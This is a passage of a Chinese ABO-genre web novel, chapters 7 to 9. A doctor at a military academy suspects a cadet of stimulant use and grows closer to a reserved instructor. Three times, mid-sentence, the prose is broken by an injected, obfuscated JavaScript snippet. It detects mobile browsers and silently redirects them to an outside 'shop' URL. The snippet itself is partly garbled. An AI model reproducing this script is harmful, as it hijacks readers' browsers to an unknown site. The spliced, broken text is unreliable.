《高冷上将被我骗心之后》 7. 第 7 章 沈乐安拿到成绩单后,第一时间做了数据分析比对,数据结果倒是不出意料,班级为单位林一鸣的进步最为突出,哪怕比对整个新生的数据,甚至往上三届学生来看,他的变化也格外突出,看起来像是个天才。 但诡异的是,这个天才在刚入校的时候又是个成绩平平的普通生。 沈乐安不想轻易否定一个学生的努力,但这个事情的逻辑又充满了古怪。 信息素暴动对身体损伤严重,一连几天,沈乐安也没有等来可以和林一鸣本人沟通的机会,倒是听说林江源和校方沟通,把林一鸣送去省医院了,方便家里人照顾。 沈乐安暂且把这些事情搁置一旁,周末带着余淮阳送回来的咖啡,去了严教授家。 严教授是沈乐安读研时候的导师,之前在校对沈乐安一直关照很多,沈乐安和他们家也有私下往来,这次的新工作,他还没有来得及和严教授说。 严家住在别墅区,是栋古典风的小别墅,房子的装修是他夫人选的,沈乐安来过几次,对这里还挺熟悉。 严教授正坐在楼下刷新闻,早早就听见沈乐安过来的动静,眼皮半点没抬,装作没看见。 沈乐安把咖啡放在桌面,主动道:“教授,我给您带了咖啡,您最喜欢的那款。” 严教授把平板放下来,瞅了瞅他,“你哪位啊?” 宋瑜给沈乐安拿了牛奶过来,拆台道:“别理他,他从你毕业没有继续选他当导师读博念叨你到现在,昨天晚上还和我打听你什么时候到呢。” 沈乐安眼睛弯了弯,“谢谢宋姨。” 严教授:“无事献殷勤,说吧,来找我什么事?” 沈乐安:“来看我亲爱的老师。” 严教授呵呵两声。 沈乐安把热气腾腾的咖啡递送到他跟前,“我之前考编去了,现在在联邦军校的校医办上班,来和您汇报一下毕业后的工作去向。” 严教授端起来喝了一口,慢悠悠道:“三个月没见没联系,现在才想起来汇报,我都忘了自己还有你这个学生了。” 沈乐安殷勤地把最近的笔记递交给他。 严教授扫了两眼,“你还要继续深入做信息素暴动这个方向?之前不是说换了化学催化剂的研究吗?” 沈乐安斟酌了下,“本来是要换的,出了点意外。” 严教授定定看了他一眼。 沈乐安坦白道:“我前不久分化了,分化的时候信息素不稳定,有发生暴动的趋势,不过及时被送到医院了,没有什么大碍。” 严教授拧眉,方才的找茬散的干净,“你这三个月是因为住院治疗所以才没有联系我?不继续读博也是因为这个?” 沈乐安点头,“主要是分化成了Omega,做研究不方便。” 大多数学校虽然没有硬性规定,但都是Omega学生必须选择Omega导师,科研内Omega导师少,沈乐安又不想换导师,性别原因,进出做实验什么的申请都比别的麻烦很多,加上和家里闹掰,就没了往上读的想法。 严教授气的冒烟,猛地把杯子放到桌上,忘了轻重,没喝完的咖啡溅到了桌布上。 他重点完全不在这个上面,“校方同意你一个Omega跑去全都是Alpha的军校工作?!” 他想起来当时秦老爷子给他打电话的时候,只是说给沈乐安推荐一个联邦军校的工作岗位,完全没有提沈乐安已经分化成了Omega的事情,原来是打的哑谜,怕说了这个他不肯说实话让沈乐安过去! 宋瑜听见动静,从厨房出来,见到那一片狼藉,还以为严教授发了什么脾气,瞪了他一眼,“有什么不能好好和乐安说的,那么大声做什么?” 严教授觉得自己被人耍了,还把自己学生坑了进去,三言两语交代了事情,气还是没消。 宋瑜听完,又看了眼身边乖巧的沈乐安,问:“乐安,你当时怎么想到去考联邦军校的编制?” 沈乐安道:“我自己身体出现了信息素的问题,又因为之前的研究方向和这个有关,就想继续做研究,联邦军校的这几年在信息素的研究上面最为成熟,是我首选的去向,再一个,我不介意和Alpha共事,这个是我自己选择的,您别担心。” 宋瑜关心道:“那你要是到了发情期怎么办?” 沈乐安道:“目前的时间还算固定,校方有为我提供额外的假期,我随身也带了抑制剂防备,这个不是问题。” 宋瑜点头,又和他解释道:“你考编制的资料上面都有,因为老严是你的老师,我姐姐的亲家和招生处那边有点联系,那边就直接和老严对接上了,和老严打听了你的情况,他当时不知道你分化成了Omega,听到后觉得这个职位不错,就差把你得过的奖和顶刊论文贴在人家脸上了读了,还说你很适合科研,最好推荐个悠闲岗位,方便你研究新技术。” 沈乐安没想到还有这层缘由,难怪他进去的岗位轻松又悠闲,权限开的也多,原来是有人提前给他走过后门开绿灯。 沈乐安有点不好意思,“教授,给您和宋姨添麻烦了。” 严教授冷哼,“你给我惹的麻烦还少?” 沈乐安笑眯眯道:“给您剥橘子表达感谢,我剥完给宋姨帮忙做菜。” 宋瑜笑了下,“不缺你帮忙,等会给我添乱子,家里来人还不知道什么时候能吃上饭。” 沈乐安好奇:“今天有客人过来?” 宋瑜道:“我姐姐家里的孩子,灵灵的表哥,也在联邦军校工作,老严说让你认识一下,给你当后台。” 沈乐安瞅了一眼面色正经的严教授。 严教授轻咳了两声,“胡说八道什么呢。” 原本沈乐安没有分化,就是搭个线,认识一下,以后有事可以帮忙,现在又分化成了Omega,严教授总觉得这线有点变味,搞得他像个媒人似的。 严教授可是清楚秦家最近各处给他外甥找Omega相亲的事情的。 宋瑜反应过来,失笑,“灵灵补课还没有回来,听说你今天过来,嘱托我一定把你留下来吃饭,晚上要见到你。” 严灵灵今年刚上高一,课业重,上周末刚开学没多久还给沈乐安发过消息,吐槽高中的科目又多又烦,还说他爸严格的不行,减少了她玩游戏的时间,她还想要抗议。 沈乐安常来严家,和她关系不错,“您不嫌弃我晚上留这蹭饭就行。” 严教授插嘴:“行了,少谁都不会少了你这口。” 宋瑜没有再打扰这师生两人交流学术话题。 严教授看完他最近的笔记,才道:“你们学校发生信息素暴动的那个学生你查过了?” 这么贴近身边的信息素暴动案例,不彻查,实在浪费机会。 沈乐安点头,“他本人还没有醒,没有办法直接询问他,问过他校内的同学和助教,也去他家里面看过。” 严教授:“有发现什么异常的地方吗?” 信息素暴动是信息素在短时间内发生超规模的信息素增长,过往的研究大多聚焦于信息素暴动的危害,在于发生后的抑制,沈乐安的研究与此相反,关注于信息素暴动的起源,他最新发表的论文里面有重要的影响和关注就在于,他发现了信息素暴动会有一个触发的机制。 AO易感期和发情期的“特殊时期”就是一个信息素开始剧烈增长的生理性触发机制,而在两个特殊时期之外的机制,则可能存在有因素促使身体的认知上判定为这个节点为“特殊时期”,从而诱发暴动。 使得身体认知改变的因素有很多,比如生病情况下可能会影响身体机制的判断、抑制剂的过量注入会导致信息素平衡失调、连续的不良作息也可能导致激素发生混乱让生理失调等。 回忆了一圈之前的论文总结,沈乐安摇头,“他当时没有生病,军校作息也正常,那个点也不是他的易感期,目前来说,没有什么特别奇怪的地方。” 思及此,沈乐安道:“教授,什么情况下,人的体质会突然变好?” 他强调:“在很短的几个月的时间内。” 严教授斜了他一眼:“分化后体质会发生改变,你现在应该有明显感知了吧?” 沈乐安无语,他又没有锻炼,每天生活的像条咸鱼,哪里有什么特别大的改变,“除此之外呢?” 严教授思索片刻,正色道:“除此之外就是一些不健康的手段了,比如刺激性药物让身体有短时间的增强效果之类的。” 沈乐安若有所思,“教授,能从你这走后门拿到那个学生大学之前的体质报告单吗?” 大学之前每一年都会有体质测试,但这些信息归属联邦教育部归总,如今林一鸣是军校的学生,自然档案也给了联邦军部,军部是个铁桶,沈乐安又不认识人,只能想办法从严教授这里打听打听。 “我这没这个门开。”严教授睨了他一眼,“不过等会吃饭的外甥有,可以帮你问问。” 沈乐安扬眉,联邦军内关系错综复杂,以实力为尊,级别严苛,军部又是保管联邦内所有军队人员个人信息的地方,很难轻易给出,他从严灵灵那听说过几嘴这个表哥,应该年纪不大,竟然能走通军部那边的关系? 他压下好奇,也没有细问。 下午六点,归心似箭的严灵灵一下车就像小火箭一般冲回了家,一见客厅里面的人,喊道:“乐安哥!” 沈乐安笑话她:“你怎么跟鬼追着似的。” 严灵灵丢下书包,小声埋怨道:“我表哥接我,那不是鬼追着?” 严教授把这两个人瞪了个遍。 严灵灵朝他吐了吐舌头,做了个鬼脸,但见来人,刚刚气势汹汹的感觉就如被压制后的鸡仔,“表哥。” 秦砚把手上的东西给她,“你的水壶没有拿。” 严灵灵忙接过,道谢。 沈乐安手上还拿着那瓣橘子往嘴里放,闻声,冷不丁的和秦砚对视上,错愕了半秒,齿尖下意识一咬,汁水便冲着脸上爆出。 他唔了一声,倏然闭上眼,语气多了几分痛苦,“快给我弄张湿巾。” 严灵灵:“卧槽!乐安哥你没事吧?” 秦砚开了桌上的矿泉水,沾湿手帕,抓住他晃动的手,递到他的手心,“拿好。” Omega的皮肤与粗糙的Alpha触感截然不同,对比感很强,柔软细腻,如似初生的骨朵,秦砚松开手时,提醒道:“不用太用力,往边缘轻轻擦。” 沈乐安戳了好几下,眨了好几次眼睛,才缓过来。 酸性的汁水刺激,让他眼睛不受控制的往外冒眼泪,泪眼朦胧,眼尾蔓延了一丝血色,连带着鼻尖都有点微红,看上去有几分可怜兮兮的。 严教授本来想骂他两句,见此,又瞥向秦砚,“你们认识?” 沈乐安主动道:“因为那件事,找秦教官帮过忙,所以有点交集。” 大约是因为掉了几点泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211799|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花,语气也给人感觉软和了许多,秦砚视线定在他泛红的眼角数秒,收回,嗯了一声,表示肯定。 沈乐安看了眼手帕,是他之前给的那条,也没还回去,垫了张纸巾,放桌上晾晾打算走的时候拿走。 严灵灵狐疑地在他们两个人身上流连了两秒。 沈乐安把桌面上的礼袋给她,“欠你的生日礼物。” 秦砚看了一眼包装精致的礼盒,外表华丽,他这个表妹很喜欢花里胡哨的东西,礼物确实用心。 严灵灵眼睛一亮,她暑假过的生日,没想到还能收到晚到的礼物,沈乐安知道她喜欢什么,肯定是她想要的。 “谢谢乐安哥。”她踌躇了一下,期待过于迫切,抱着礼盒又拿起书包,“表哥,我上去补补作业。” 说完便兴冲冲地跑上了楼。 秦砚无言,看了一眼还在眨眼睛的沈乐安,问道:“还很疼?” 沈乐安:“还好,就是还有点想流眼泪。” 秦砚看到他睫羽上沾湿的微微水光,又给他抽了张干的纸巾。 沈乐安取走,擦了擦,“谢谢啊。” 他缓了一会,恢复正常后,才道:“有点惊讶你和严教授有亲戚关系,太巧合,我还以为看错人了。” 秦砚道:“之前工作原因,不常来。” 见他目光落在桌面的手帕上,秦砚解释了一句,“上次走的时候你没拿。” 沈乐安想起来自己上次随手放车上,是自己忘了拿,“我等会拿走,麻烦你托管了。” 他闻了闻厨房飘来的味道,弯唇:“托你的福,今天宋姨竟然还做了炒饭。” 秦砚没有这方面的偏好,瞥见沈乐安兴致很高,便知道小姨是专门给他做的。 沈乐安去厨房取了大家的碗筷出来,秦砚接过,帮忙摆好。 严灵灵特地拍了张照发朋友圈,感慨:“乐安哥,也就你来的时候我才觉得家里的饭菜好。” 严教授瞥了她一眼,“他不来,你会在家里吃饭?” 严灵灵:“……” 她爸真是到处乱损她的形象! 严灵灵把那道菜扒拉近了一点,“乐安哥,我妈新作,快试试。” 秦砚视线微垂,对这菜颇为熟悉,青椒炒肉。 沈乐安夹了青椒也夹了肉,颇为认真地品尝,弯唇道:“宋姨是不是打算去开餐馆了?” 他夹菜的时候半点看不出来挑食的毛病,甚至会主动夹自己并不喜欢的食物,秦砚多看了他两眼。 “就你嘴甜。”宋瑜笑容真切,又叮嘱道,“辣椒刺激,不要多吃。” 沈乐安非常听话地应下,专门挑选里面喜欢的肉菜。 秦砚:“……” 宋瑜侧眸,又提了一句,“菜是小砚爷爷种的,有机蔬菜,你俩挺有缘分,乐安你有什么事情可以找小砚,他这人热心,能帮忙的都会帮忙。” 严教授忍不住转头,看了看自己老婆。 严灵灵瞪大眼睛,没想到她妈还挺能睁眼说瞎话,表哥,热心? 宋瑜面色不变,又问:“你俩有对方联系方式了没?” 沈乐安道:“知道了宋姨,之前加过。” 宋瑜笑意微深,看向沉默吃饭的秦砚,“小砚,乐安是你姨夫之前的学生,你也多照顾一点。” 秦砚:“……好的。” 宋瑜看了眼时间,又道:“乐安,你今天没有开车过来吧?” 沈乐安:“没有。” 宋瑜便道:“小砚你等会也要回去,刚好送送乐安,有点晚了,我不是很放心他一个Omega大晚上自己打车。” 秦砚接过一次,没有拒绝。 沈乐安觉得今天晚上宋姨话有点多,对他尤其关心,大约是知道他分化成了Omega,所以处处不放心,走的时候一如往常,还给他带了东西,是今天秦砚带过来的水果,宋瑜给他分了一份。 秦砚一直到上车的时候都有点沉默,倒是沈乐安一如往常,离开严家,坐到车上又是那副懒洋洋的模样,姿势懒散地啃着苹果。 沈乐安察觉到对方的关注,转头问:“你也想吃吗?” 秦砚收回视线:“不吃。” 一直到校,沈乐安才吃完苹果,车内安静了一路,没有人说话。 到了地方,沈乐安没马上下车,转头问:“秦教官,你住哪里啊?” 秦砚:“C区。” 那边是单独的独栋,看起来学校给他的待遇很优质。 沈乐安嗯了一声,又说:“我还想找你帮个忙。” 秦砚看了他一眼,这样的口吻像是默认他一定会帮似的。 沈乐安接着道:“严教授说你可以帮我弄到你们这一届同学大学之前的体质测试成绩。” 他说完,又补充道:“如果为难,弄到林一鸣一个人的也行。” 见他沉默,沈乐安主动把水果切盒放到他车上,“谢礼。” 秦砚:“……这是我带过去的水果。” 沈乐安没有否认,只是强调:“但是是我亲自切的。” 见他不语,沈乐安权当他同意了,笑了笑,下了车,朝他挥挥手,“等你好消息,秦教官晚安。” 沈乐安走的时候心情很好,人影消失在夜色中,秦砚还没有把车开走。 视线从窗外转回,盯着那个透明的切盒,秦砚一时无言。 他觉得沈乐安还真的有得寸进尺的本事。 8. 第 8 章 沈乐安兢兢业业了几天,秦砚还没有给他资料,他看了其他材料也没有任何进展,倒是听说林一鸣醒了的消息,决定去医院探望一下病人。 京市省医院是联邦大学医学院的附属医院,里面的医生很多都是来自联邦大学的毕业生,也多亏了师兄师姐的帮忙,沈乐安才能这么快的拿到小道消息,知道林一鸣清醒了。 沈乐安买了一批水果送去了医院的办公室,而后取了一个小果篮去找林一鸣的病房。 林一鸣的病房信息在校医办不是秘密,只是沈乐安会主动找上门,林夫人有点意外。 沈乐安目光落在隐约可见的单人病房,随口道:“代表学校来看看林同学的情况,方便让我进去吗?” 林夫人迟疑了下,还是松开了门,“沈医生进来吧。” VIP病房要比普通病房要安静一些,屋内装饰单调简约,还配了电视和陪护的单人床。 沈乐安把果篮轻放在桌面,余光停留在熟睡的Alpha身上,Alpha皮肤没有了那天的爆裂一样的膨胀,但血管依旧肿大,脸部肌肉还绷紧,充血一样的红。 林夫人小声道:“一鸣这两天醒了两次,但还是非常累,大多数时间都在睡觉恢复。” 沈乐安:“信息素暴动对身体损伤很大,身体为了恢复,较长一段时间内,睡眠都会增多。” 他说完,指了指外头,“我们去外边说吧,不要打扰到林同学休息。” 林夫人松了口气,跟着他去了外边,阖上门,她才道:“学校有什么事情找一鸣吗?” 见她眼底有点紧张,沈乐安安抚道:“只是来看看林一鸣的身体情况,校方对学生很关心的。” 林夫人强调:“一鸣身体好了之后会马上回校的,不会耽误课程。” 沈乐安看了她一眼,说道:“学校不会因为学生发生这样的事情就随意开除学生,您不用这么紧张。” 他语气一转,又道:“但如果学生违规使用违规性药物,比如兴奋性药剂、致瘾性药物等,情节严重会勒令转学。” 林夫人垂着眼皮,冰凉的指腹轻轻放在膝上,“一鸣平时不怎么和我说这些,我就是担心他出了这样的事情会影响学业,毕竟联邦军对外选拔很看重身体素质,我怕他受到歧视所以才多问了几句。” 沈乐安转了话题:“林先生不是在悦动发展很好,当初怎么想让林同学读军校?” 林夫人道:“我先生觉得不错。” 她不愿多说,沈乐安自然也没有细问,但ABO的性别分化也让这三个群体的发展有明显的不同,Alpha以武力为尊,军队是他们展现自我的一个绝佳道路,而如今军政相交,不少人想通过这个路子和政界沾上边,倒也可以理解。 尤其是林江源从商,少不得想要和政界的人打上交道,也难怪非常支持自己的儿子考军校,联邦军校排行第一,是联邦军直接对接的学校,能考上这里的学生,不论是家庭或者是个人,总有一个实力匪浅。 如果能通过考核,进入军队,那便是质一样的飞跃,如此说来,秦砚是发生了什么突然从军队早早退休?能够在军校担任总教官说明资历背景一定足够,且还能有机会和军部内部资料库打上交道,绝对硬实力,那话又说回来,怎么又甘愿在军校内当一个教官呢? 沈乐安走神歪了思路,见林夫人婉言送客,也没有停留,走的干脆,只是好似人不经念叨,一个转角,好似见到了熟悉的身影出现在了医院。 秦砚关上门,徐应尧便道:“我还以为你忘了你自己还有病在身上需要复查。” 秦砚找了椅子坐下:“最近忙。” 徐应尧放下报告,吃了颗葡萄,“看完了,你没救了,收拾一下卷铺盖走人。” 秦砚看着他散漫的动作,“这就是徐医生的专业素质,给病人看病的时候吃水果?” 徐应尧把果切盒往前推了推,“就你会找时间,我一个师弟送的,你今天运气好,请你吃一口。” 秦砚看着那盒水果就想到那天晚上沈乐安给的谢礼,“谢谢,不吃。” 徐应尧道:“秦上将以后再不听医嘱,还要找我应付家里人的话,麻烦下次别再挂我号。” 秦砚没应,还是拿了里面一颗葡萄,尝了尝味道,切得比沈乐安的好看,但是味道比不上。 见他识趣没回话,徐应尧语气稍缓,“虽然你几次不来看病,但情况恢复的还可以,只是我比较担心一个问题,你易感期是不是很久没有来过了?” 秦砚:“之前用抑制剂控制的很好,提前注射后压下了信息素的增长,所以没有出现易感期的反应。” 徐应尧哦了一声,“那我觉得你可能得加快一下相亲进度,不然可能出问题。” 秦砚看了他一眼,“什么意思?” 徐应尧道:“长期压抑易感期的出现,如果那天你没有及时注射抑制剂,或者是抑制剂不够足量,都有可能出现信息素突然爆发同时易感期症状出现,要是没有Omega伴侣陪你度过,你可能欲求不满像个发情的狒狒连夜让我给你找个一夜情对象,当然,也可能你压抑太久,你索要过度,连夜打电话问我你的小O伴侣被你做晕之类的怎么办。” 秦砚:“……” 秦砚无语:“你们医生都这样说话?” 徐应尧笑了笑:“我在给你合理预演可能出现的情况,为了减少这样的加班可能性,我建议你可以看点小电影,在你没有找到伴侣前通过别的方式合理排解Alpha的生理需求。” 秦砚漠视了这个话题,“下次我家里找你,你不用说,就说病人隐私,我不给透露。” 他愿意接过包袱,徐应尧自然乐意甩锅:“行。” 秦砚看了他一眼,忽然问道:“你家里是不是有亲戚在军部当文员?” 徐应尧:“是,你之前见过吧,过年的时候有来过。” 秦砚:“我有份资料需要通过他们那边,你帮我问问,能不能流程审批快点给我。” 他想要拿到沈乐安提的资料并不难,只是会稍微费点时间,今天想起,倒是能提升一点效率。 徐应尧爽快应下,给人发了消息,那头回的快,“文件等会就能给你转过去。” 秦砚:“下次请你吃饭。” 徐应尧放下手机,目光定定看了他一眼,好奇道:“你帮谁要的资料,当教官还不需要大费周章的查查学生过往的体质成绩吧?” 秦砚眼皮没抬,看了眼时间,应道:“一个同事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211800|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐应尧意味深长地看了他一眼。 见他开了门,徐应尧没有追问,紧随其后,出了门,又恢复成了清冷严肃的徐医生。 徐应尧瞅了眼坐在外头椅子上的男生,叫了声:“沈师弟,你看完病人了?” 沈乐安嗯了一声,“徐师兄。” 听见这一声,秦砚回眸,瞥见了男生柔软的发旋,细软的头发微微耷下,半藏不藏的耳珠一片明晃晃的白。 徐应尧道:“水果很新鲜也很好吃,谢了。” 沈乐安与他转达了两句教授的问候。 秦砚不喜社交,他当然不会随便给秦砚介绍自己的小师弟,徐应尧打完招呼又匆匆离开。 他没有注意秦砚在他们说话的时候没有走,还站在原地,好像在等人。 徐应尧之前在联邦大学,与严教授有交集,也不奇怪沈乐安能与他打交道。 秦砚见他自然走近,想起徐应尧桌面上的水果,道:“送了水果切盒,没有找他帮你忙?” 沈乐安觑了他一眼:“我找徐师兄帮我看看林同学的情况。” 秦砚扫过他身后方才坐的那个位置。 沈乐安解了他的惑,又随手拆了颗糖,“我刚才在等你。” 秦砚视线微顿,清冷的眸光转回,“找我有什么事?” 是葡萄口味的,沈乐安嚼了嚼,“没什么事,刚好看见你,顺便蹭个车回去。” 习惯了沈乐安顺口提出的坐车行为,秦砚没有理由拒绝,默认他跟在自己身边上了车。 沈乐安降了点车窗,外面的凉风吹进,少了点紧闭的沉闷。 秦砚瞥见,提醒道:“热的话可以把空调开大一点。” 沈乐安:“不热,我容易晕车,有点晕车里面的气味。” 秦砚不答,话题随之终止。 沈乐安吃了颗糖,缓了缓,才道:“送你的果切怎么样,给个五星好评吗?” 秦砚以为他在暗示找他帮忙的资料,便道:“资料我刚拿到,等会回去发给你。” 沈乐安并没有关注这个,接着上一个话题:“水果都吃完了?” 秦砚嗯了一声,“我爷爷种的很用心。” 沈乐安道:“我切得也很用心,第一次给人送亲手切的水果盒子。” 秦砚盯着前面的绿灯,评价:“难怪切得不好看。” 沈乐安:“……” 真能把天聊死。 沈乐安不说话了,转过头,看着窗外如风影簌簌而过的街边景色,回忆今天在病房内看到的细枝末节,尝试链接可能的猜测,神思不属,正在游神。 秦砚还想再提他给徐应尧的切盒倒是技术进步许多,只是请人帮忙不好用这点东西打发,显得有点敷衍,尤其是徐应尧还格外挑剔。 但余光一侧,见他没了交流的打算,反而转向窗外,显然不欲再聊,便也没了多话的心思。 秦砚一向不喜欢和人找话题聊天。 车内一路保持安静,直到下车时,沈乐安道了声谢才离开。 副驾驶处空了出来,秦砚目光扫过副驾驶侧车门储物格的位置,以往沈乐安蹭车离开时除了道谢,离开前还会顺手放下一颗糖。 今天那处却空荡荡一片,什么都没有。 9. 第 9 章 周二上班的早上,沈乐安来的格外的早,陈悦放下包,和他打了声招呼。 沈乐安:“陈姐,我这边有点发现,想和你商量点事情。” 陈悦冲了杯咖啡,送到他面前,瞥见他眼底淡淡的青色,“昨晚熬夜了?” “谢谢姐,”沈乐安打了个哈欠,“熬了一会。” 陈悦没有多寒暄,直接问道:“发现什么奇怪的地方了?” 沈乐安等她开电脑,又给她传了份文件,“这是目前为止我能弄来的我们学校学生的体质变化报告,数据我个人处理过,可以直接看图。” 很大的一份文件,数字密密麻麻,陈悦喝了口咖啡,这才滑鼠标仔细翻阅。 沈乐安目光跟着她的画面走,嘴里喊了颗薄荷糖,语气还算清醒,“前面的几个小图是军校学生入校后的体质变化图,班级、年级、学校为三个单位进行比对,林一鸣来校可以算作三个月,他的体质变化我做了模拟图,以他三个月的进步模拟。” 陈悦就图说话,“就这个来看,他的成绩或许在班级比较突出,年级也处于偏上的位置,但整个学校而言,也不算特别显眼。” 军校内笼络了各种人才,像林一鸣这样的人其实并不少见,这并不能说明什么。 沈乐安没有否认,又示意她往下看,“和他的体质变化模拟图相似的这些同学一开始进校的体质测试成绩在下面,林一鸣是里面最低的,且和其他人有很明显的差距。” 这个可以理解,有这么大的进步,与其他相似的变化的人中相比,在一开始的时候却起始点如此低,甚至差异较大,确实有点奇怪。 陈悦道:“学生在进校的成绩有差异,但低分段的差别其实不算特别大,他这个还算在合理范围之内。” 沈乐安没有争执这个,“我还找人弄来了他们大学之前的体质数据。” 陈悦下意识看了他一眼,心里忍不住想,上面对沈乐安重视到这种地步,这种文件都直接给了他? 这些学生里面总有在未来可能成为联邦军的一员的,甚至可能是军中高职人员,这些信息便尤为重要,不可能轻易外泄。 沈乐安轻咳了两声,没说这东西是自己走后门要来的,只含糊道:“看完得删,您知道的。” 陈悦喝了两口咖啡,彻底清醒了,“你直接说发现什么了?” 沈乐安往下滑了滑,“我把这些学生过往的体质成绩和大学成绩关联后做了数据图,重点看了林同学体质变化,他的变化线条有非常奇怪的抖动,在去年的一年时间内。” 他嚼碎了糖,合理提出推测,“我怀疑他嗑药。” 联邦过往的记录中有列出过违禁的兴奋性药物,长期使用,会有增强体质的效果,但对身体的损伤也大,其中比较明显表现出来的就是信息素紊乱。 沈乐安又道:“那天食堂里面,我给他注射抑制剂的时候他反应减弱了,但我给他注射的抑制剂是增强版的,效果不应该那么差,我觉得他可能之前出现过这样的疑似暴动情况,且很有可能注射的抑制剂都是过量的,他现在的血管还没有恢复,还是膨胀过度的状态,明显是身体内的信息素还极其不稳定,他家里反常的储存了很多的抑制剂。” 陈悦道:“分化后人的体质会有非常大的改变,你有考虑过这个吗?” 沈乐安点头:“我找医院那边弄来了他们的分化时间,这些都是刨除了这个变化影响之后的数据结果。” 陈悦沉默片刻,才说:“乐安,你说的这些都是推测。” 而且,她指了指那些密密麻麻的线条,补充道:“这里不止他一条奇怪的线。” 沈乐安嗯了一声,没有否认,双眸黝黑,静静地落在她的身上。 陈悦有点想抽烟,又想起来现在是在校医办,磨了磨牙,“联邦军校是不允许学生碰这类东西的,学生心里不会不清楚,而且学校也不可能因为几个没有证据的数字就怀疑学生,要求他们配合调查。” 这是非常严重的违纪了,校方不可能随便答应沈乐安一时兴起提出来的请求,这些学生的父母也不会允许。 但这件事情如果是真的,那也意味着校内可能流传违禁药物,陈悦有点头疼。 沈乐安放了颗糖在她手边,“我当然知道,不会给您闯祸的。” 陈悦见他不慌不忙,便道:“你有什么想法?” 沈乐安没打算吊着她:“这个需要通过尿检来检测。” 陈悦拧眉:“你打算单独给你怀疑的学生做这个?不合适。” 先不说会不会打草惊蛇,单独给人做这个,人家也不会随便同意,说不定还反手给学校制造一下舆论,说学校专制。 沈乐安摇头,解释道:“不单独给他们做,全校统一一起检验,刚好能一次性解决隐患。” 他提醒道:“我记得学校体检的项目里面,是有这个可选项的。” 陈悦眉头微舒,指了指屏幕,“办法不错,但是以前的体检里面没有这一项,尿检的成本高,你打算用这个去让学校审批费用?我得提醒你,这个保密资料越少人知道越好。” 沈乐安笑了笑,“我们找别人要钱,不用学校出。” 陈悦扬眉,示意他往下说。 沈乐安:“林先生应该找您打听过,学校的物资采购合作,今年的合约终止,校方目前应该还没有确认合作商吧?” 学校的供应商比较固定,每次签的合同都很长,一般没有人内部牵线,企业其实很少能有机会搭上这个稳赚不赔的路子,尤其是,学校之间的合作往往是成了一个,就有很多个上门,至少对于联邦的大学而言,这倒是个奇怪又合理的圈。 陈悦问:“你是在合作的附加条件里面加上让合作商为我们承担这部分费用?” 沈乐安:“当然不是,他们愿意提供这部分费用,我们可以给他们提供一个入场的机会,至于合作,得看他们的诚意。” 陈悦觉得他可能没有接触过商界那群老油条,想法还有点单纯,不忍打击,只委婉道:“我们和他们合作,虽然有盈利点,但学校的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211801|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需求量有限,没有你想象中的那么多,何况悦动目前发展还没有到大公司的那种地步,流动资金有限,不会随便浪费。” 沈乐安道:“不和悦动,我说的是沈氏集团。” 陈悦叹了口气,“沈氏集团是大公司,但是他们主产品是抑制剂,Alpha易感期其实对抑制剂的需求不是那么高,盈利就更少了。” 谈合作嘛,当然看的不止这些,沈乐安不好说自己知道沈氏早就有想法想掺和上这条线,他现在对这个这么清楚还是因为这项目自己关注了非常久,他老爹也非常重视。 沈乐安绕开这个话题,还是死缠烂打道:“那我代表学校试试去和他们谈,只是想和您确认一下,您这边可以接受的附加条件,以及校方的期待方向。” 这些倒不是什么秘密,同事间还是能说的,陈悦想了想还是道:“沈氏集团负责人的联系方式你能要到?” 沈乐安道:“没事,我直接和他们的董事长谈。” 陈悦:“……” 她无言以对,摆摆手,敷衍了两句,把他赶走了。 沈乐安笑了笑,没有和她过多解释。 他把沈烨电话从黑名单里面弄出来,拨打过去,没接通,估计是上次的话把他气了一通,也学着把他拉黑了。 不过沈氏集团又没有倒闭,公司住址他知道在哪,总能找到人。 他出了办公室,倒是在长廊上看到秦砚,正巧偶遇,停下来打了声招呼,“秦教官,生病了?” 秦砚:“有学生低血糖晕倒,我送他过来。” 沈乐安点头,见他目光还落在自己身上,黑眸漆漆,带了几分深邃和沉稳,也回望回去。 半晌,秦砚才道:“灵灵让我提醒你不要忘了今晚的预售。” 今天有限量版的人物手办预售活动,严灵灵前几天提醒过他,沈乐安倒是记得,只是没想到严灵灵一直挺怕秦砚这个表哥,还会和他说这事,估计对这次的盲盒势在必得。 “她找你帮忙抢了?”沈乐安问,“需不需要我把操作链接给你发一份?” 秦砚拧眉:“她经常找你帮这种忙?” 沈乐安道:“没有,之前都是限购一份,我俩自己抢自己的,这次限购两份,我俩算是合作共赢。” 秦砚:“……” 他没想到沈乐安会喜欢这种小东西。 沈乐安:“这次预约人数多,单个账号的限购数量也上升了,估计很难抢到,抢到了请你吃饭。” 